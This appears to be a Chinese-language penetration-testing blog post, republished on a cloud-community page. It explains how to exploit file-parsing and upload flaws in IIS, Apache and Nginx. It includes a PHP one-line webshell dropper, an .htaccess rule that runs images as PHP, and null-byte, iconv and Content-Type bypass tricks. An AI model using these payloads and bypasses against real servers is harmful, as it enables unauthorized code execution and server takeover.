淺談檔案解析及上傳漏洞

來源:互聯網
上載者:User

標籤:檔案上傳漏洞   檔案解析漏洞   

650) this.width=650;" src="http://upload-images.jianshu.io/upload_images/3197538-c84b81d44ee77f41.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" style="border:0px;vertical-align:middle;height:auto;" alt="1240" />

中國菜刀

    在web滲透中,我最期待兩種漏洞,一種是任意命令執行漏洞,如struct2漏洞等;另一種是檔案上傳漏洞,因為這兩種漏洞都是擷取伺服器許可權最快最直接的方法。而對於任意命令執行漏洞,如果是通過內網映射出來的,那麼可能還需要使用不同的手段進行木馬檔案上傳,從而擷取webshell,通過webshell進行連接埠轉寄或者許可權提升。
    本文主要是介紹檔案上傳中的個人利用技巧經驗匯總,講解分為兩部分:一部份是檔案解析漏洞,另一部份是檔案上傳漏洞。

檔案解析漏洞

    解析漏洞主要是一些特殊檔案被iis、Apache、Nginx等服務在某種情況下解釋成指令檔格式並得以執行而產生的漏洞。

iis 5.x/6.0解析漏洞

    iis6.0解析漏洞主要有以下三種:
 1. 目錄解析漏洞 /xx.asp/xx.jpg
    在網站下建立檔案夾名字為.asp、.asa的檔案夾,其目錄內的任何副檔名的檔案都被iis當做asp檔案來解析並執行。因此只要攻擊者可以通過該漏洞直接上傳圖片馬,並且可以不需要改尾碼名!
2. 檔案解析 xx.asp;.jpg
    在iis6.0下,分號後面的不被解析,所以xx.asp;.jpg被解析為asp指令碼得以執行。
3. 檔案類型解析 asa/cer/cdx
    iis6.0 預設的可執行檔除了asp還包含這三種asa、cer、cdx。

Apache解析漏洞

    Apache對檔案的解析主要是從右至左開始判斷並進行解析,如果判斷為不能解析的類型,則繼續向左進行解析,如xx.php.wer.xxxxx將被解析為PHP類型。

IIS 7.0/ Nginx <8.03畸形解析漏洞

    在預設Fast-CGI開啟狀況下上傳名字為xx.jpg,內容為:
<?PHP fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[cmd])?>‘);?>
    然後訪問xx.jpg/.php,在這個目錄下就會產生一句話木馬shell.php。

Nginx<8.03空位元組代碼執行漏洞

    nginx如下版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37在使用PHP-FastCGI執行php的時候,URL裡面在遇到%00空位元組時與FastCGI處理不一致,導致可以在圖片中嵌入PHP代碼然後通過訪問xxx.jpg%00.php來執行其中的代碼。
    另一種Nginx檔案漏洞是從左至右進行解析,既可繞過對尾碼名的限制,又可上傳木馬檔案,因此可以上傳XXX.jpg.php(可能是運氣,也可能是代碼本身問題,但在其他都不能成功的條件下可以試試)。如下:
Content-Disposition: form-data; name="userfiles"; filename="XXX.jpg.php"

htaccess檔案解析

    如果Apache中.htaccess可被執行並可被上傳,那麼可以嘗試在.htaccess中寫入:
<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>
    然後再上傳shell.jpg的木馬,這樣shell.jpg就可被解析為PHP檔案了。

作業系統特性解析

    由於windows會將檔案的尾碼中的空格以及點進行過濾,如果遇到是黑名單校正的,如限制不允許上傳PHP檔案,而系統又是windows系統,那麼我們可以上傳xx.php ,或者xx.php.,通過這種方式就可以繞過黑名單檢驗的檔案上傳!

檔案上傳漏洞檔案頭欺騙漏洞

    在一句話木馬前面加入GIF89a,然後將木馬儲存為圖片格式,可以欺騙簡單的waf。

filepath漏洞

    filepath漏洞主要用來突破伺服器自動命名規則,主要有以下兩種利用方式:
    1、改變檔案上傳後路徑(filepath),可以結合目錄解析漏洞,路徑/x.asp/
    2、直接改變檔案名稱(都是在filepath下進行修改),路徑/x.asp;.

00截斷

    00截斷的兩種利用方式:
    1、更改filename,xx.php .jpg,在burpsuit中將空格對應的hex 20改為00
    2、更改filename,xx.php%00.jpg,在burpsuit中將%00進行右鍵轉換-url-urldecoder

filetype漏洞

    filetype漏洞主要是針對content-type欄位,主要有兩種利用方式:
    1、先上傳一個圖片,然後將content-type:images/jpeg改為content-type:text/asp,然後對filename進行00截斷,將圖片內容替換為一句話木馬。
    2、直接使用burp抓包,得到post上傳資料後,將Content-Type: text/plain改成 Content-Type: image/gif

iconv函數限制上傳

    如果某天你上傳檔案發現,不管你上傳什麼檔案,上傳後的檔案都會自動添加一個.jpg的尾碼,那麼我們可以懷疑是否是使用iconv這個函數進行了上傳的限制,此時我們可以使用類似00截斷的方法,但是這裡不是00截斷,二是80-EF截斷,也就是說我們可以修改HEX為80到EF中的某一個來進行截斷,如果真是使用這個函數的話,那麼恭喜你上傳任意檔案成功!如上傳一個xx.php ,然後截斷抓包將後面的空格對應的十六進位改為80到EF中的任意一個!

雙檔案上傳

    再一個檔案上傳的地方,右鍵審查元素,首先修改action為完整路徑,然後複製粘貼上傳瀏覽檔案(<input ......),這樣就會出現兩個上傳框,第一個上傳正常檔案,第二個選擇一句話木馬,然後提交。!參考連結

表單提交按鈕

    我們有時掃描發現上傳路徑,可是只有一個瀏覽檔案,卻沒有提交按鈕,此時我們就需要寫入提交按鈕。
    寫入表單:
    F12審查元素,在選擇檔案表單下面添加提交按鈕代碼。
<input type="submit" value="提交" name="xx">


本文出自 “eth10” 部落格,請務必保留此出處http://eth10.blog.51cto.com/13143704/1956032

淺談檔案解析及上傳漏洞

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.